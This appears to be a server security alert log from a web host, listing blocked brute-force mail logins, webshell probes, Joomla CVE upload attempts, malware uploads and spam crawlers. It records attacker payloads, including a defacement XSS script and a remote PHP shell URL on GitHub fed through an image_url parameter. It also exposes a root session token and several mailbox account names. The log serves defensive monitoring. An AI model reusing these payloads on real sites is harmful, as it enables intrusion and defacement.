2026-07-05 16:45:41 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [110.227.211.82]:40668: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-05 16:49:15 dovecot_login authenticator failed for H=([206.220.175.5]) [103.147.248.23]:55642: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 208.84.102.84
country_id: 6252001
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: modsec
rule: 77350492
name: IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)
abuser: 208.84.102.84
country_id: 6252001
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)||MV:/wp-content/debug.log||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.243.62.144
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/about.php||SC:/home/stcinemas/public_html/wp-content||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 49.37.232.248
country_id: 1269750
description:
[2026-07-05 16:53:07 +0530] info [whostmgrd] 49.37.232.248 NEW root:YFGs6bb5OOwbEnww address=49.37.232.248,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.243.62.144
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/stcinemas/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.50.240.64
country_id: 1210997
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/bens_ibmc/login/index.php HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-05 16:56:09 dovecot_login authenticator failed for H=([185.208.195.210]) [65.20.205.197]:42561: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-05 16:56:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:14532: 535 Incorrect authentication data (set_id=absent)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
2026-07-05 16:56:28 dovecot_login authenticator failed for H=([121.178.185.141]) [38.141.252.55]:59095: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.240.99.156
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-janakpuri.html\">Janakpuri Call Girl service</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
2026-07-05 17:03:55 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([121.1.80.17]) [125.59.252.103]:53907: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-05 17:06:45 dovecot_login authenticator failed for H=([119.198.191.180]) [207.254.29.22]:59327: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-05 17:07:27 dovecot_login authenticator failed for H=([144.22.210.132]) [103.187.78.189]:50316: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-05 17:07:26 dovecot_login authenticator failed for H=(201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [95.82.7.89]:47458: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-05 17:07:50 dovecot_login authenticator failed for H=([218.15.224.102]) [175.200.217.128]:47746: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-05 17:08:37 dovecot_login authenticator failed for H=([68.71.251.130]) [196.28.226.125]:34622: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.36
country_id: 1733045
description:
2026-07-05 17:09:11 dovecot_login authenticator failed for H=([199.187.210.51]) [49.124.152.36]:59064: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.245.38.203
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:121243||Sizes:56||Combined size:56||User:ibmcglobal||WPU:||Filename:kill-2026.txt||Scanned:/tmp//20260705-171033-akpCsZWPf9aLe2ELDtwSEwAAAIE-file-7p1k55||SC:/home/ibmcglobal/public_html/index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-05 17:16:06 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([184.185.2.254]) [90.230.168.26]:52666: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-05 17:16:45 dovecot_login authenticator failed for H=([182.139.39.150]) [15.218.135.58]:55500: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-05 17:17:22 dovecot_login authenticator failed for H=([178.177.40.29]) [103.55.89.5]:56076: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-05 17:16:33 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com (mail.sotus.co.th) [35.130.111.98]:59262: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.189.17.35
country_id: 298795
description:
2026-07-05 17:17:38 dovecot_login authenticator failed for H=(65-73-230-99.d1dd231b1e9e11c70abaf8fabd83036a.ip.frontiernet.net) [78.189.17.35]:56245: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.46.121.16
country_id: 1861060
domain: ibmctradeflow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmctradeflow/public_html/wp-includes||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 20.46.121.16
country_id: 1861060
domain: ibmctradeflow.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/1.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 20.46.121.16
country_id: 1861060
domain: ibmctradeflow.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.16
country_id: 1861060
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-05 17:19:51 dovecot_login authenticator failed for H=([111.38.136.211]) [208.69.161.214]:39613: 535 Incorrect authentication data


plugin: modsec
rule: 77469916
abuser: 175.100.59.131
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcez555w6g8.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-05 17:21:42 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net ([27.39.128.169]) [111.70.28.243]:57624: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.240.99.75
country_id: 2464461
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es15?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 54.151.246.121
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-05 17:23:23 dovecot_login authenticator failed for H=([222.97.195.179]) [183.104.220.152]:42668: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-05 17:23:45 dovecot_login authenticator failed for H=([98.190.239.1]) [50.212.27.150]:34310: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 82.24.229.119
country_id: 3624060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://issuu.com/ufabetx\">https://issuu.com</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-05 17:26:40 dovecot_login authenticator failed for H=([36.135.62.94]) [112.161.42.97]:48902: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.237.155.113
country_id: 2661886
description:
2026-07-05 17:26:50 dovecot_login authenticator failed for H=81-237-155-113-no2400.tbcn.telia.com ([110.93.243.22]) [81.237.155.113]:57763: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.130.216
country_id: 1835841
description:
2026-07-05 17:28:22 dovecot_login authenticator failed for H=([61.72.145.120]) [182.31.130.216]:33905: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.215.65.170
country_id: 798544
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/ibmctradeflow/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-05 17:29:02 dovecot_login authenticator failed for H=([211.187.7.14]) [14.96.106.175]:45260: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-05 17:29:49 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([98.170.57.236]) [67.43.243.158]:55318: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-05 17:29:52 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([27.24.141.160]) [82.209.191.11]:42204: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-05 17:30:02 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [65.20.131.63]:52325: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-05 17:32:20 dovecot_login authenticator failed for H=([146.56.225.248]) [181.54.70.40]:45678: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 5.77.130.137
country_id: 174982
domain: ogocindia.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:21964.ogocindia.com||ServerName:ogocindia.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9a6cd7f5b89e39734eee50e9d3b155dea211bc1c||Title:0x0610bb05||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 107.173.142.251
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-05 17:34:37 dovecot_login authenticator failed for H=(c-50-187-155-130.unallocated.comcastbusiness.net) [41.215.125.250]:35044: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-05 17:35:09 dovecot_login authenticator failed for H=([61.186.136.36]) [76.49.199.97]:37512: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 93.115.25.194
country_id: 597427
domain: globalgroupoman.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.25||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/globalgroupoman/public_html/||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.207.228.97
country_id: 2245662
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.245.38.203
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:169068||Sizes:56||Combined size:56||User:globalgroupoman||WPU:||Filename:kill-2026.txt||Scanned:/tmp//20260705-174724-akpLVC8SqzSxutr5P8WqFQAAARQ-file-adDlc0||SC:/home/globalgroupoman/public_html/index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.225.100.133
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.psypost.org/\">cognitive science</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.73.69.241
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.25||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.253.78
country_id: 1269750
description:
2026-07-05 17:51:21 dovecot_login authenticator failed for H=([103.130.207.227]) [125.20.253.78]:38132: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-05 17:51:08 dovecot_login authenticator failed for H=([103.251.143.14]) [91.86.88.24]:57588: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 23.94.103.89
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://ace90bet.bet\">\xd8\xb3\xd8\xa7\xdb\x8c\xd8\xaa \xd9\xbe\xdb\x8c\xd8\xb4 \xd8\xa8\xdb\x8c\xd9\x86\xdb\x8c \xd8\xac\xd8\xa7\xd9\x85 \xd8\xac\xd9\x87\xd8\xa7\xd9\x86\xdb\x8c \xdb\xb2\xdb\xb0\xdb\xb2\xdb\xb6</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.240.99.156
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-candolim.html\">call girl in Candolim</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 185.16.60.101
country_id: 2921044
domain: keralapeople.com
description:
IM360 WAF: Possible XSS in arguments||MV:{\"preset\": \"default\", \"logo\": \"\", \"logo_type\": \"image\", \"site_width\": \"1140px\", \"layout_type\": \"fluid\", \"sticky_header\": \"0\", \"custom_css\": \"\", \"before_head\": \"<script>document.addeventlistener('domcontentloaded', function(){document.title='hacked by coupdegrace';document.body.style.csstext='margin:0;overflow:hidden';document.body.innerhtml='<div style=\\\"display:flex;align-items:center;justify-content:center;height:100vh;width:100vw;background:#000;color:#fff;font-family:monospace;font-size:clamp(24px,5vw,64px);font-weight:bold;text-align:center;letter-spacing:3px\\\">hacked by coupdegrace</div>';});</script>\", \"after_body\": \"\", \"animation\": \"fadein\", \"body_font\": \"\", \"heading_font\": \"\"}||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77281327
abuser: 185.16.60.101
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:ARGS:data[action]||MV:import||RF:/index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-05 18:02:46 dovecot_login authenticator failed for H=([213.234.8.114]) [24.187.213.29]:55786: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 175.100.59.131
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceu5kt473c.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.69.233
country_id: 1269750
description:
2026-07-05 18:03:34 dovecot_login authenticator failed for H=([49.124.152.25]) [122.160.69.233]:53419: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 146.158.28.51
country_id: 1512440
domain: www.ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ibmcglobal.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-05 18:10:37 dovecot_login authenticator failed for H=([65.20.204.88]) [74.209.100.246]:40916: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.148.244.131
country_id: 2802361
domain: travelinbh.com
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:travelinbh||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.129.46
country_id: 1562822
description:
2026-07-05 18:13:00 dovecot_login authenticator failed for H=([125.212.129.46]) [125.212.129.46]:60602: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: modsec
rule: 77469916
abuser: 216.67.230.98
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-qec73zap.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 216.67.230.98
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:167208||Sizes:25||Combined size:25||User:interceptorgloba||WPU:||Filename:cox.txt||Scanned:/tmp//20260705-181526-akpR5t7YDMAeNvFCHM1dBAAAAUI-file-GZmtKM||SC:/home/interceptorgloba/public_html/index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.141.57.247
country_id: 1835841
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.141.57.247
country_id: 1835841
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ahsmarine/public_html/wp-content/uploads/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-05 18:18:21 dovecot_login authenticator failed for H=([49.124.152.243]) [218.156.93.206]:50460: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-05 18:18:23 dovecot_login authenticator failed for H=([39.171.42.206]) [191.241.142.170]:48588: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-05 18:18:04 dovecot_login authenticator failed for H=(54.126.103.87.rev.vodafone.pt) [116.98.104.138]:46234: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.11.161
country_id: 1835841
description:
2026-07-05 18:18:05 dovecot_login authenticator failed for H=([45.164.115.86]) [112.184.11.161]:38927: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 161.97.129.228
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.107.192.176
country_id: 1835841
description:
2026-07-05 18:19:20 dovecot_login authenticator failed for H=([174.75.211.203]) [211.107.192.176]:44262: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:jaashsupplies||SC:/home/jaashsupplies/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:metrodigitals||SC:/home/metrodigitals/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-05 18:20:14 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com (cpe-186-23-209-47.telecentro-reversos.com.ar) [31.208.108.219]:57700: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:kallanigroup||SC:/home/kallanigroup/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: vrishenterprises.in
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:vrishenterprises||SC:/home/vrishenterprises/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:idealloanzcom||SC:/home/idealloanzcom/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:vrishenterprises||SC:/home/vrishenterprises/sriganapathyent.in/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: ogocindia.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:ogocindia||SC:/home/ogocindia/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: futuracare.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:futuracarecom||SC:/home/futuracarecom/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
